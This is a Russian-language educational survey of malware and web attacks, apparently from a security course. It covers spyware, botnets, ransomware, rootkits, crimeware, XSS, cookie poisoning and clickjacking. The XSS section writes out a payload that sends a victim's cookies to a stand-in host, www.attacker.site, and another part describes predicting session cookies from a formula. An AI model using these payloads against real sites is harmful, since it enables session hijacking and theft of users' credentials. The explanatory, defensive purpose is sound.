Но не следует думать, что кража персональных данных (ИНН, номера и серии паспорта, номера мобильного телефона, кредитной истории, адреса проживания, адреса e-mail и пр.) производится только в госучреждениях, после чего появляются на рынках в виде СD. Существует много легальных и полулегальных источников этих данных. Прежде всего это Интернет (серверы "Одноклассники", "Однокурсники", различные серверы бюро знакомств и т.д.). В каждом из таких источников трудно почерпнуть исчерпывающие данные о каком-то конкретном человеке, но сопоставление данных из нескольких источников может дать многое. В российских условиях все много проще, так как еще не известны случаи, когда виновники краж персональных данных и передачи их для перепродажи на рынках были хоть как-то наказаны. CD с базами данных министерства налогов и сборов, МВД, пенсионного фонда, фонда имущества и пр. может купить любой желающий за 2-3 сотни рублей. Но мере роста кредитного бизнеса и более широкого распространения кредитных карт следует ожидать бума такого рода преступлений. В качестве примера можно привести случай, когда репортер BBC смог оформить водительское удостоверение на имя министра внутренних дел со своей фотографией (данные из статьи журнала Network Security, N1, 2008). И это в стране, где к персональным данным относятся куда менее легкомысленно чем в РФ. Срок наказания в Англии за такое преступление от 2 лет. Так что уже сегодня нужно всерьез задуматься о всесторонней защите персональных данных (ведь многие хранят всю перечисленную выше информацию в файлах на своих РС).

По данным Microsoft 50% разрушений ОС или приложений у клиентов так или иначе сопряжено со spyware. Еще в 2003 году до 90% всех компьютеров содержали ту или иную программу типа spyware. Как правило пользователь не подозревает о наличие такой программы в компьютере до тех пора его работа не станет совершенно неустойчивой. Для электронной коммерции этот вид атак особенно губителен, так как подрывает доверие клиентов (но и кража интеллектуальной собственности в любых сферах предпринимательства подрывает стабильность и основы честной конкуренции). В США в настоящее время готовятся специальные законы для пресечения деятельности создателей и распространителей spyware. В настоящее время существует три принципа детектирования spyware:

  1. По сигнатуре (распознавание определенных фрагментов кода).
  2. По производимым действиям (например, перехват прерываний при нажатии клавиш - keylogger).
  3. По результатам анализа действий с учетом контекста. Adobe Photoshop также может перехватывать прерывания от клавиатуры, но это не означает, что это работает spyware. Сигнал тревоги выдается, если подозрительные действия производятся при наличии (или отсутствии) определенных процессов.

Атаки нулевого дня

Атаками нулевого дня считаются атаки, для которых хакер только что разработал программное обеспечение, и сигнатуры которых отсутствуют в базах данных IDS/IPS и других средств детектирования и противодействия. По среднестатистическим данным такие атаки остаются в сети не детектируемыми до 348 дней! Таким образом у хакера - изобретателя такой атаки имеется почти год для того чтобы безнаказанно творить бесчинство. Следует также иметь в виду, что по данным компании IBM ежегодно выявляется 139362 уязвимости, данные о которых не публикуются. Полное же число вновь создаваемых атак во много раз больше. Вредоносные программы часто снабжаются специальными средствами автоматической модификации, что препятствует определению их сигнатуры. Сегодня (2010 год) время жизни конкретной версии вредоносного кода составляет в среднем около трех часов, что приводит к экспоненциальному росту множества разнообразных типов malware (смотри "Back to the future", журнал "Network Security", N1. 2010). Предсказание же новых угроз столь же трудно, как точный прогноз погоды.

Таким образом любая машина, подключенная к Интернет, несмотря на наличие Firewall, антивирусной защиты и пр. совершенно беззащитна и может быть в любой момент превращена в зомби.

Adware (Madware) и Grayware

Программа, основной функцией которой является получение выгоды путем рекламирования чего-то пользователю компьютера, где она установлена (advertisement software). Такая программа может быть установлена поставщиком компьютера или продавцом. Непосредственной угрозы adware не представляет, но слишком полагаться на это не следует. Adware может потреблять мощность процессора и полосу внешних каналов. Программа не предполагает передачи персональной информации, хотя полностью этого исключить нельзя. В среднем на каждом компьютере присутствует 13 adware (данные McAffe Research на конец 2004 года).

Adware является частным случаем Grayware чего-то раздражающего и абсолютно нежелательного. Это могут быть и всевозможные шутливые программы, которые безвредны, но могут поглощать ресурсы и отвлекать от дела.

В последнее время (2013г) появились особо агресивные версии рекламных программ, которые получили название madware (агресивно используют рекламные библиотеки, в том числе размещенные в Интернет). Эти программы могут воздействовать на смартфоны и планшеты (Android).

Взломщик паролей

Программа, созданная для того, чтобы легальный пользователь мог восстановить забытый пароль, и использующая, например, файл passwd. В руках атакера то же самое средство может использоваться для получения доступа к конфиденциальной информации.

Средства удаленного администрирования

Программа, предназначенная для осуществления удаленного управления системой. Однако такое программное средство в руках человека, отличного от легального сетевого администратора, является серьезной угрозой безопасности.

Dialer

Программа, которая переадресует Интернет-соединение на объект, отличный от, например, сервис-провайдера пользователя по умолчанию. Программа вынуждает модем жертвы переключиться на другой телефонный номер, что может привести к большим счетам за услуги связи. Раньше такой вид атак назывался "молдавская связь" (по месту создания первого образца).

Browser Hijackers

Программы, которые замещают просмотр базовой страницы, искомой страницы, результаты поиска или сообщения об ошибке другими данными, которые пользователь не запрашивал. Этот тип вредоносных программ можно отнести к adware.

Вредоносные коды Browser-hijacking взаимодействуют с машиной атакера, используя протокол валидации почты (SPF - Sender Policy Framework). Такая технология усложняет детектирование вредоносного трафика firewall'ом и другими сетевыми системами безопасности.

Новый вредоносный код, называемый Trojan.Spachanel, имеет целью внесения вредоносного JavaScript в каждую Web-страницу, открытую на зараженном компьютере. Задачей JavaScript является отображение фальшивого рекламного сообщения в выпадающем окне, с тем чтобы пользователь кликнул на нем и перешел на зараженный сайт атакера. Вредоносный код периодически генерирует доменное имя согласно предопределенному алгоритму и осуществляет вызов с использованием протокола SPF.

Bot-коды

Bot-коды были созданы для автоматизации контроля параметров и администрирования каналов IRC (Internet Relay Chat), т.е. в первоначальном виде опасности не представляли. Вскоре хакеры выяснили, что эти программы пригодны для нелегального внедрения в машины и выполнения вредоносных операций. Пользователи, посещающие IRC-чаты или WEB-сайты сомнительного свойства рискуют получить bot-код. Некоторые bot-коды могут рассылать себя через системы распределенного файлового обмена (P2P). Bot-код начинает свою работу с запуска обмена через IRC-канал, объявляя, что машина доступна. С этого момента ЭВМ ждет команд со стороны хакера и может выполнить любую операцию, становясь зомби. Такие зомби могут образовывать целые сети (botnet). Для формирования botnet часто используется целевой фишинг (spearphishing), когда даже опытные эксперты не могут отличить атаку от легального сообщения. При этом может быть предложено зайти на сайт Microsoft для обновления версии Windows, а ссылка содержать в слове microsoft русские буквы "o" вместо латинских, что приведет к тому, что вы попадете на сайт злоумышленника и на вашу машину будет загружен вредоносный код. Одним из средств борьбы с botnet считаются honeynet. Следует иметь в виду, что botnet это нечто большее, чем сумма, составляющих ее частей. Машины - узлы botnet, часто используются для новых атак, минимизируя вероятность выявление истинного атакера. История botnet началась с программы RAT (Remote Access Tool). Как часто это бывает все началось с самых лучших намерений. Администратору сети с узлами, разбросанными на большой территории, нужны были средства удаленного доступа для конфигурации рабочих станций и серверов...


Botnet сводит на нет возможности ACL и других сходных средств для подавления сетевых атак и SPAM. Дело в том, что если даже иметь постоянно актуализуемый список IP-адресов всех машин-зомби, включенных в botnet'ы, процессор, осуществляющий такую фильтрацию, будет перегружен. Число машин-зомби по разным оценкам лежит в пределах от 100 до 150 миллионов!

По данным компании FireEye рекордным числом машин в одной botnet является 10 миллионов. В феврале 2009 эта цифра не превышала двух миллионов. Так что масштаб бедствия растет. Botnet'ы такого масштаба могут при желании блокировать работу практически любого сервис провайдера и любой Интернет-компании (например, eBay, PayPal и, что во многих случай еще более важно, их клиентов). Эффективным средством борьбы с botnet является выявление и подавление работы центров управления такими сетями. Создаются специальные сети для выявления botnet. Самое интересное заключается в том, что 71% пользователей понятия не имеют, что такое botnet (данные на конец октября 2009 года).

Botnet - это распределенная совокупность вычислительных машин, управляемых из единого центра и не являющихся собственностью этого центра. Под это определение безусловно подпадает совокупность машин с ОС Windows. Ведь обновления этой операционной среды производится из единого центра и может выполняться помимо воли владельца такой машины. Вполне можно предположить, что в случае конфликта правительство США может вынудить компанию Microsoft заблокировать работу машин в определенной стране или даже разметить на них жесткие диски. Конечно, это все сугубо гипотетически, но в принципе вполне реализуемо. В сущности совокупность машин с ОС Windows не является вредоносной лишь потому, что компания Microsoft в этом не заинтересована. Смотри также WWW. World Wide Weaponization.

Индустриальный подход к взлому машин предполагает разделение труда, в этом бизнесе сформировались как минимум три группы:

Обычно массовые атаки предпринимаются в два этапа. Сначала фермеры наращивают размеры botnet, например, путем манипулирования поисковыми серверами. Многие, вероятно, получали по почте предложение, сделать так, чтобы ваш WEB-сервер попал в десятку самых популярных. Хакеры используют эту же технологию для продвижения своих вредоносных сайтов. "Раскрутке" на поисковых серверах могут быть подвергнуты и вполне легальные, но зараженные ранее сайты. Это приводит к увеличению числа их просмотров и, как следствие, к росту числа зараженных машин. Для аналогичных целей могут использоваться и компании массовой рассылки SPAM с приложениями, содержащими вредоносные коды. На втором этапе дилеры предпринимают атаку, стремясь получить доступ к важной информации. При этом широко используются прокси-серверы, помогающие скрыть истинный источник атаки, и специальные программы, автоматизирующие процесс. Атака может предполагать попытку подбора параметров доступа, когда для этой цели используется порядка десятка машин, разбросанных по всему миру.

Ransomware, Scareware и Rouge Security

Название этого вида атаки происходит от английского слова ransom - выкуп. Эта программа предназначена для вымогательства. После попадания на машину жертвы, программа, например, шифрует рабочие файлы (имеющие определенные расширения). Машина остается в рабочем состоянии, но файлы пользователя недоступны. Ключ или пароль для расшифровки хакер предлагает прислать за вознаграждение. Возможна загрузка какого-то вредоносного кода, например вируса, и предложение избавить клиента от этой напасти за небольшое вознаграждение. Практически такая программа может быть отнесена к категории вируса или сетевого червя, при запуске которого и происходит указанное шифрование файлов. Распространение такого вида атаки получили с мая 2005 года (TROJ.RANSOM.A, Archiveus, Cryzip, MayArchive). Смотри рис. 8А, где владельца сначала запугивают (см. "Cybercriminals extorting money from Android users, Michael Kassner, May 28, 2014).

Рис. 8А. Пример ransomware-экрана


К число таких атак можно отнести таже "ложные программы безопасности" (Rogue Security Programs, их синонимом является Scareware). Эти программы загружают вредоносные программные модули, а затем оповещают пользователя об их наличии, не забыв упомянуть, какие и у кого можно приобрести средства противодействия. Смотри также Pocket E-Guide: How to Prevent Rogue Antivirus Programs in the Enterprise. В 2009 году по данным компании Symantec в мире существовало более 250 фальшивых антивирусных программных пакетов.

Следует иметь в виду, что даже если найденная вами антивирусная программа работает и не содержит вредоносных включений, она не может гарантировать безопасности, хотя бы потому, что редко обновляется или вообще не обновляется. Такая программа может породить ложное чувство безопасности. Не говоря о том, что там может содержаться сознательная дыра для определенного вида вредоносных программ. Потенциальных пользователей может сбивать с толку тот факт, что многие солидные компании также предлагают бесплатные версии таких программ. Всегда возникает вопрос, зачем платить деньги за программу, когда в Интернет предлагается вариант по описанию с той же функциональностью, но совершенно бесплатно? Причины здесь бывают самые разные. Одни компании предлагают пробную версию, будучи уверенными, что через некоторое время клиент приобретет платную версию, ведь пробная версия устарее уже через неделю. Но среди таких предложений все большую долю составляют фальсифицированные антивирусные (antimalware) программы, целью которых является вторжение. Фирменные антивирусы предоставляют комплексные решения, включающие детектирование и блокировку rootkit, встроенный Firewall, эвристические системы распознавания атак нулевого дня и т.д..

Совершая WEB-серфинг по просторам Интернет, человек может попасть на какой-то сайт, который выдаст на экран предупрежедние (см. Social engineering attack: How to remove rogue security software):


Если жертва нажмет на клавишу "REMOVE THREAT" на его машину будет загружена вредоносная программа, например, троянский конь. Время от времени эта программа может уведомлять владельца о якобы уничтоженном вирусе или черве, создавая видимость позитивной работы. А, например, раз в месяц будет предлагать обновить загруженную ранее антивирусную программу. При согласии клиента, он будет получать новую версию вредоносной программы. Иногда за эту программу просят даже заплатить (так больше доверие). Смотри также Symantec Report on Rogue Security Software. За истекший год зарегистрировано 43 миллиона попыток загрузить себе фальшивые антивирусные программы. Легкомыслие интернетчиков беспредельно!

Rootkit

Rootkit пожалуй самый опасный из всех вредоносных кодов, так как его практически невозможно обнаружить и крайне сложно удалить. К счастью написать программу rootkit может только программист хорошо знакомый с программированием на системном уровне. Набор программ, которые разрешают доступ с системными привилегиями. Rootkit обычно содержит в себе spyware, модули записи ввода с клавиатуры и для создания черных ходов, по своему положению в ОС rootkit является системным драйвером. Важной особенностью Rootkit является наличие средств, препятствующих детектированию наличия этих программ, а также их удалению. Версия rootkit Unreal, например, имеет возможность прятать как файлы, так и драйверы, его устройство ориентировано на блокировку работы известных программ детектирования rootkit. Этот набор программ обычно специфичен для операционной среды. Большинство антивирусных и анти-spyware программ не могут его обнаружить. В последнее время новые версии rootkit размещают свои модули в аппаратной памяти компьютерного оборудования. До настоящего времени нет средств для автоматического удаления rootkit. Разработаны варианты rootkit, встраиваемые в аппаратные элементы и модули. Каждое новое поколение rootkit оказывается все более глубоко вмонтированным в операционную систему. Некоторые легальные разработчики приложений используют технику rootkit для предотвращения модификации их программных продуктов пользователями. Последние поколения Rootkit ориентированы на более глубокое проникновение и сращивание с программами операционной среды, они используют новейшие средства и методы, разработанные для обеспечения безопасности. В 2005 году компания BMG Music Entertainment Inc. стала устанавливать rootkit на некоторые свои CD, чтобы предотвратить несанкционированное копирование (см. wp.bitpipe.com). Понятно, что такие действия находятся на грани, а иногда и за гранью закона.

Rootkit имеет две базовые функции: реализацию удаленного доступа/управления через "черный ход" и программное "прослушивание". Смотри www.rootkit.com.

Rootkit позволяет удаленно управлять компьютером (загружать и исполнять программы, получить доступ к аутентификационной информации, мониторировать активность пользователей и даже менять конфигурацию машины. При таком определении VNC (Virtual Network Computing) является примером rootkit. Т.е. следует ли считать rootkit вредоносной программой, зависит от его реализации и от того, в чьих руках он находится. При определенных обстоятельствах программа типа rootkit может противодействовать вторжениям. Другим примером rootkit можно считать программу компании Sony, противодействующую несанкционированному копированию (см. DRM. Кстати, ни одна антивирусная программа не могла обнаружить программу DRM.

Rootkit в отличие от вирусов и червей не может сам себя рассылать (во всяком случае пока). Система доставки и установки rootkit содержит в себе три составляющие части:

  1. скрытую программу занесения (dropper), которая может являться частью, например, макроса, прикрепленному к электронному письму;
  2. загрузчика и
  3. rootkit.

Dropper запускает программу загрузки и обычно требует помощи жертвы, которую под любым предлогом убеждают кликнуть мышкой на какой-то URL-ссылке. Такая ссылка может содержаться в письме или WEB-странице. Dropper активирует программу-загрузчик (смотри anti-virus rants). Эта программа часто вызывает переполнение буфера, чтобы облегчить преодоление ограничений доступа (нужны системные полномочия), после чего выполняется собственно загрузка rootkit в память машины.

Часто для решения указанных выше проблем преодоления системы защиты ОС используются приемы социальной инженерии, известные уязвимости ОС. Все известные ОС (Linux, BSD, MacOS, Solaris и Windows) уязвимы для Rootkit. Возможны разные варианты реализации эксплойтов. Одним из наиболее изощренных разновидностей rootkit является Mebroot (2007). Он модифицирует сектор диска начальной загрузки и, встраиваясь в один из системных процессов, становится "невидимым". Он может перехватывать пароли и похищать другие конфиденциальные данные. Утилиты анализа сетевого трафика не могут обнаружить деятельность Mebroot, поскольку он хорошо маскирует передаваемую информацию внутри обычного трафика. Одним из лучших детекторов-сканеров rootkit является программа GMer.

Естественен вопрос, что нужно сделать, чтобы предотвратить внедрение Rootkit в ваш компьютер? Ответ достаточно тривиален. Не посещать сомнительные сайты, не открывать приложения писем, пришедших от незнакомых респондентов, своевременно обновлять операционную систему и приложения (для вторжения обычно используются известные уязвимости), применять локальный Firewall и антивирусную программу. Это не защитит вас полностью, но снизит вероятность заражения во много раз. Осторожность и осмотрительность может спасти многие часы, которые потребуются на восстановление или переустановку ОС и приложений.

Для детектирования rootkit надо использовать отдельный, специально сформированный диск, который пригоден для первоначальной загрузки (bootstrap). На этом диске должна быть новейшая версия программы антивирус и антируткит бизнес-класса. Смотри AVG Technologies' (formerly Grisoft) AVG Anti-Virus 8.0, Symantec's Norton AntiVirus 2008 With AntiSpyware и Webroot Software's AntiSpyware Corporate Edition with Antivirus. Программа, размещенная на одном из штатных дисков машины, будет во многих случаях неэффективной, так как некоторые rootkit делают себя невидимыми для средств уровня ОС. Вообще говоря, такой бутабельный диск для детектирования вредоносных программных включений является универсальным и может использоваться для выявления наличия и других вредных кодов. Варианты инструментария можно найти в разделе Средства для борьбы со spyware. Смотри также 10+ things you should know about rootkits и Rootkits: Is removing them even possible?.

Примером Rootkit может служить ZeroAccess (смотри Malware B-Z: Inside the Threat From Blackhole to ZeroAccess (Sophos)

В последнее время многие вредоносные программы стали содержать средства маскировки, rootkit в этом отношении не является исключением. Многие программные прерывания ОС имеют предопределенные адреса переадресации. Именно по этим адресам вредоносные коды вносят команды ухода и именно эти адреса используются для выявления наличия вредоносных кодов. Но новейшие версии rootkit научились перехватывать запросы чтения содержимого определенных адресов. Это позволяет ввести в заблуждения программы детектирования rootkit и еще более осложнить борьбу с этими вредоносными программами.

Существует несколько разновидностей rootkit:

Основные симптомы заражения rootkit

Создатели rootkit уже на уровне проектирования придали ему свойства невидимости. Как правило, достаточно трудно выяснить даже с помощью специализированной программы, заражен ли компьютер этим вредоносным кодом, или нет. Но все же можно выделить некоторые симптомы, по которым можно судить с определенной вероятностью о наличии rootkit в компьютере.

Если rootkit работает корректно, большинство указанных симптомов не должны проявляться. Только последний симптом - замедление работы сети, является универсальным признаком, ведь rootkit не может скрыть увеличение сетевого трафика, например, при его участии в DoS-атаке.

Полиморфизм rootkit

Полиморфизм не является характерной чертой rootkit, но исключать такую возможность было бы неосмотрительно. Сегодня это неактуально, так как и без того rootkit практически невозможно обнаружить.

Детектирование и удаление rootkit

Рекомендация своевременного обновления программного обеспечения (patch'и!), может показаться занудством, но это пока самая эффективная мера противодействия. Можно порекомендовать также Vulnerability Scanning.

Детектирование и удаления rootkit зависит от его разновидности. Сложности удаления rootkit быстро возрастают, так как риск обрушения ОС становится все более ощутимым. Если это пользовательская модификация, любое из предлагаемых ниже средств вполне подойдет.

Ваша машина станет более безопасным инструментом, если вы заблокируете работу Autorun (файл Autorun.inf) в конфигурации ОС Windows.


Проблема с использованием этих программных средств заключается в том, что никогда нельзя быть уверенным, что вы действительно удалили rootkit. следует рассмотреть и применение детектора rootkit на бутабельном CD с антивирусным сканнером, таким как BartPE. Такое средство формирует свою операционную среду и по этой причине с высокой достоверностью может детектировать rootkit (ведь он еще не загружен и не может блокировать свое детектирование). Отсюда можно сделать вывод, что надежное средство детектирования rootkit должно работать на уровне ядра системы. Возможен вариант, когда поиск rootkit выполняется до реальной загрузки ОС. Можно также рассмотреть в качестве меры детектирования отслеживание изменения размеров основных загружаемых модулей ОС. Единственным сегодня методом, гарантирующим отсутсвие rootkit, является перезагрузка ОС с фирменного дистрибутива с последующей проверкой наличия посторонних кодов с помощью Encase.

Пример модификации ядра Windows при загрузке Rootkit показан на рисунке 9. На верхней части рис. 9 представлена схема взаимодействия до загрузки rootkit. (Смотри The Essentials Series: Modern Malware Threats and Countermeasures)

Рис. 9. Пример модификации ОС при загрузке Rootkit


В заключении можно порекомендовать прочесть статью в NetworkWorld “Experts divided over rootkit detection and removal” (статье уже более двух лет, но актуальнось ее сохраняется). Существует некоторая надежда, что Intel's Trusted Platform Module (TPM) со временем решит проблему заражения вредоносными кодами. Кроме того данной проблеме посвящена книга ROOTKITS: Subverting the Windows Kernel. Смотри также Rootkit Detection

Crimeware (по метериалам Wikipedia, см. http://en.wikipedia.org/wiki/Crimeware)

Crimeware является разновидностью malware, разработанной для автоматизации финансовых преступлений. Термин был введен Петером Кассиди, генеральным секретарем рабочей группы по антифишингу, чтобы отличать его от других видов вредоносных программ.

Crimeware (в отличии от spyware, adware и malware) при создани ориентирована на кражу персональных данных (посредством социальной инженерии и технических уловок), для того чтобы получить доступ в режиме реального времени к счетам пользователя в финансовых организациях и осуществить перехват денежных средств или выполнить неавтризованные транзакции с целью обогащения. Crimeware используется также часто для получения конфиденциальных данных.

Киберпреступники используют различные методы для кражи конфиденциальных данных:

Crimeware может быть установлено на машине жертвы за счет:

Cross-Site Scripting (CSS). (описание CSS сделано на основе Cross Site Scripting (XSS) Explained, Cross Site Scripting или http://courses.csail.mit.edu/6.857/2008/handouts/css-explained.pdf) является одной из наиболее широко распространенных сетевых атак, преследующих цель, получение персональных данных с помощью WEB-технологии (иногда этот вид атаки называют "HTML injection"). Задача решается за счет выполнения определенного Javascript'а в browser'е жертвы. При этом получается некоторая информация, содержащаяся на машине жертвы (например, cookies). Метод не наносит непосредственного вреда, но может быть прелюдией более серьезной атаки. Атакер может получить полный перечень cookies, имеющихся на машине жертвы. Смотри также http://www.veracode.com/security/xss.

Такой скрипт считывает часть HTTP-запроса (обычно параметры, реже HTTP-заголовки и проходы). Предположим, что имеется скрипт welcome.cgi, а его параметр - name. Он может работать следующим образом:

GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site

Откликом будет

<HTML>
<Title>Welcome!</Title>
Hi Joe Hacker <BR>
Welcome to our system
...
</HTML>

Атакер пытается спровоцировать клиента-жертву на нажатие своей ссылки (например, www.valnerable.site). Такая ссылка может выглядеть как:

http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>.

Оклик сайта будет иметь вид:

<HTML>
<Title>>Welcome!</Title>
Hi <script>alert(document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>

Браузер жертвы будет интерпретировать этот отклик как страницу HTML, содержащую фрагмент кода JavaScript. Этот код при исполнении позволяет получить доступ ко всем cookies, принадлежащих сайту www.vulnerable.site. Собственно атакой является отсылка всех этих cookies атакеру. Вредоносной ссылкой может быть:

http://www.vulnerable.site/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”%2Bdocument.cookie)</script>

Страница же отклика должна иметь вид:

<HTML>
<Title>Welcome!</Title>
Hi
<script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie)</script>
<BR>
Welcome to our system
...
</HTML>

Броузер немедленно при загрузке этой страницы исполнит встроенный Javascript и пошлет запрос "collect.cgi script" по адресу www.attacker.site, со значением cookies = www.vulnerable.site. Cookies могут содержать аутентификационные и авторизационные данные, а это уже представляет серьезную опасность. Наглядную диаграмму диалога в случае атаки CSS можно найти в одной из ссылок, приведенных в начале описания этого типа атак.

Для запуска скрипта возможно использование не только тэгов типа <SCRIPT>. Например:

Существуют средства повышения безопасности в отношении атак CSS:

  1. Входная фильтрация данных и выявление определенных скриптов (детектирование метки <script> с последующим распознаванием параметра name. Этот путь имеет определенные недостатки:



  2. Выходная фильтрация, которая предполагает просмотр данных пользователя, которые он посылает браузеру. Хорошим примером был бы скрипт, который заносит входную информацию в базу данных и в дальнейшем фильтрует информацию, которая извлекается оттуда и направляется в виде отклика.
  3. Установка прикладного Firewall, который перехватывает XSS-атаки прежде чем они достигнут WEB-сервера, блокирует работу потенциально опасных скриптов. Прикладной Firewall может перекрыть все входные методы, включая скрипты третьей стороны.

Взлом WEB-приложений с помощью "отравленных" Cookie. (см. Hacking Web Applications Using Cookie Poisoning). Данный вид атаки имеет целью нарушение конфиденциальности путем манипулирования cookie сессии. При этом может быть реализована фальсификация идентичности узла или человека и хакер в этом случае может выполнять определенные действия от имени ничего неподозревающего клиента. Cookie сессии к сожалению формируются без привлечения методов, гарантирующих безопасность.

Для гарантии безопасности клиент не должен быть способен угадать (подобрать) значения идентификатора сессии другого клиента. Более того клиент не должен быть способен предугадать очередное значение идентификатора сессии. У каждого идентификатора должно быть заранее оговоренное время жизни, чтобы минимизировать урон в случае кражи идентификатора.

Разные системы (ASP.NET, Apache Tomcat, Apache JServ, PHP и т.д.) генерируют cookie по-разному (смотри cookieReport.html). В одних случаях для формирования идентификаторов используются локальные часы, в других - генератор псевдослучайных чисел. Проблема в том, что в любом варианте имеются пути относительно простых схем угадывания идентификаторов с помощью предварительного анализа и перебора.

Наиболее широко используемая схема формирования сессий предполагает создание двух cookie. Первое cookie является просто счетчиком для отличия одной сессии от другой. Вторая составляющая представляет собой число, содержащее 8 десятичных цифр. Этот идентификатор вычисляется по формуле:

Cookie2=(31415821 × (t + m) mod 100000000,

где t - время GMT в секундах с момента 01/01/1970 00:00 (задается прикладным сервером), а m - число миллисекунд на счетчике тиков прикладного сервера. Следует заметить, что t может быть получено из заголовка Date HTTP. Зная это легко написать программу, которая восстановит Cookie. Для этого нужно послать чуть больше 1000 запросов.

Email bombing (бомбежка почтовыми сообщениями) представляет собой атаку почтового ящика или сервера огромным числом почтовых сообщений. Такая атака может закончиться крушением почтового ящика или сервера, когда ресурсы диска будут исчерпаны.

Clickjecking и likejeckung

Clickjacking является вредоносной технологией обмана WEB-пользователей с целью получения конфиденциальной информации или осуществления перехвата управления машиной при кликаньи ссылки кажущейся совершенно безопасными WEB-страниц Fredrick Lane (2008-10-08). "Web Surfers Face Dangerous New Threat: 'Clickjacking'".. Эта уязвимость проявляется для многих броузеров и ОС, релизация атаки имеет форму кода или скрипта, исполняемого без ведома пользователя. Смотри также Sumner Lemon (2008-09-30). "Business Center: Clickjacking Vulnerability to Be Revealed Next Month"

Термин Clickjacking был предложен Jeremiah Grossman и Robert Hansen в 2008 году. Этот вид атак можно рассматривать в качестве примера проблемы Confused deputy ("запутавшийся заместитель") (смотри Robert McMillan (2008-09-17). "At Adobe's request, hackers nix 'clickjacking' talk").

Довольно обширный комментарий на тему можно найти по адресу http://raz0r.name/news/opublikovany-podrobnosti-ataki-clickjacking/. "Реализация атаки состоит в следующем: некий сайт A имеет в себе IFRAME, адресом которого является сайт B, к которому пользователь имеет доступ на основе авторизационных данных Cookie. Злонамеренный сайт A перекрывает страницу с сайта B таким образом, чтобы оставить видимым конкретный элемент, например, кнопку “Удалить аккаунт”, “Добавить друга” и т.д. Сайт A может иметь такой интерфейс, который позволял бы рассматривать элемент с сайта B, как часть сайта A, побуждая пользователя нажать на него. Тем самым пользователь подвергается опасности совершения абсолютно непредполагаемых им действий, которые выгодны злоумышленнику. Добиться такого “перекрывания” интерфейса другого сайта можно с помощью метода CSS Overlay. Конечно все это выглядит мягко говоря не совсем практично, но возможности Clickjacking не ограничивается лишь подобным примером атаки. Кроме того, возможна (точнее была возможна в связи с выходом патча) атака, при которой пользователь, нажимая на определенные области экрана, в дружелюбной игре, может поменять настройки Flash таким образом, что его компьютер превратился бы в настоящую станцию слежения с помощью веб-камеры или микрофона (разумеется, если таковые устройства подключены к компьютеру). Именно этот способ был раскрыт независимо от Гроссмана и Хансена, в следствие чего последний был вынужден снять завесу тайны с Clickjacking в своем блоге лишь недавно." По этому же адресу приведены и фрагменты программ, реализующих подобные атаки.

Атака Clickjacking (кража кликов), известная также как UI Redressing (фальсификация идентичности пользователя), возможна не из-за ошибки в программе, но благодаря выполнению неожиданных действий WEB-страницей, кажущейся безобидной.

Страница с clickjacking вынуждает пользователя выполнить нежелательные действия, кликая мышкой на замаскированной ссылке. На такой странице-ловушке атакер помещает набор фальшивых кнопок, затем загружает поверх предыдущей другую страницу в виде прозрачного слоя. Пользователь думает, что он кликает на видимой кнопке, в то время как действия выполняются на скрытой странице. В результате пользователь выполняет действия, которые он совершенно и не думал делать. Что важно, практически невозможно отследить такие операции, так как пользователь был аутентифицирован совершенно на другой странице. Следует заметить, что для реализации атаки нужна технология iframe.

В последнее время появилась разновидность clickjecking - likejecking. Эта разновидность атаки используется в социальной сети Facebook. Атака сопряжена со злонамеренным использованием кнопки "Like". Атака впервые описана Corey Ballou в статье 'How to "Like" Anything on the Web (Safely)'. Смотри Cohen, Richard (05/31/2010). "Facebook Work - "Likejacking"". Sophos, а также http://www.sophos.com/blogs/sophoslabs/?p=9783. Retrieved 2010-06-05.

Например, пользователь мог играть в игру, где он должен был нажимать на некоторую кнопку, но в скрытом виде поверх игры была загружена другая страница, например, web-mail. Почтовая программа загружается в скрытую iframe, а кнопки игры по месту совпадают с кнопками почтового сервиса. Пользователь при этом, нажав на одну из кнопок игры, может, например, стереть все содержимое своего почтового ящика.

Простым средством противодействия является использование JavaScript, блокирующего использование HTML-фреймов. Но в последнее время разрабатываются версии Clickjacking, которые не требует фреймов. Впрочем, утверждается, что IE8 детектирует сайты, которые могут представлять подобную угрозу.

Атаки Salami используются для совершения финансовых преступлений. Ключевым моментом здесь является то, что воздействие на работу атакуемой программы делается малозаметным. Например, сотрудник банка вводит программу в серверы, которая снимает незначительную сумму денег со счета каждого клиента. Никто из владельцев счетов вероятнее всего не заметят неавторизованного изъятия денег, особенно если эти изъятия не будут запротоколированы, а сотрудник банка будет получать заметный доход ежемесячно.

Примером такой атаки может служить случай, когда сотрудник одного банка в США, будучи уволенным, установил логическую бомбу в компьютерной системе банка.

Логическими бомбами называются программы, которые активируются при наступлении определенного события. Логическая бомба была запрограммирована брать по 10 центов со всех счетов клиентов банка и класть эту сумму на счет владельца счета, который является последним в списке клиентов по алфавиту. Позднее он открыл счет в банке на имя Ziegler. Утечка со счетов была столь незначительна, что ни клиенты, ни сотрудники банка этого не заметили.

Все открылось, когда в банке появился клиент по фамилии Zygler. Он был очень удивлен, обнаружив заметный рост счета каждый месяц. Так этот фокус был раскрыт. Данный пример не является сетевой атакой, но он хорошо демонстрирует особенности данного вида атак.

XML-бомба – это XML-документ, который содержит:

Ссылки

  1. "Cyberthieves Silently Copy Your Password" The New York Times, http://www.nytimes.com/2006/02/27/technology/27hack.html?ex=1163998800&en=5599d5982c64f082&ei=5070
  2. Symantec Internet Security Report, Vol. IX, March 2006, p. 71
  3. "Protecting Corporate Assets from E-mail Crimeware," Avinti, Inc., p.1, http://www.avinti.com/download/market_background/whitepaper_email_crimeware_protection.pdf
  4. CSI/FBI Computer Crime and Security Survey 2005, p.15

Смотри также "Crimeware: Understanding New Attacks and Defenses, by Markus Jakobsson and Zulfikar Ramzan", published by Addison-Wesley / Symantec Press, 2008

Pharming

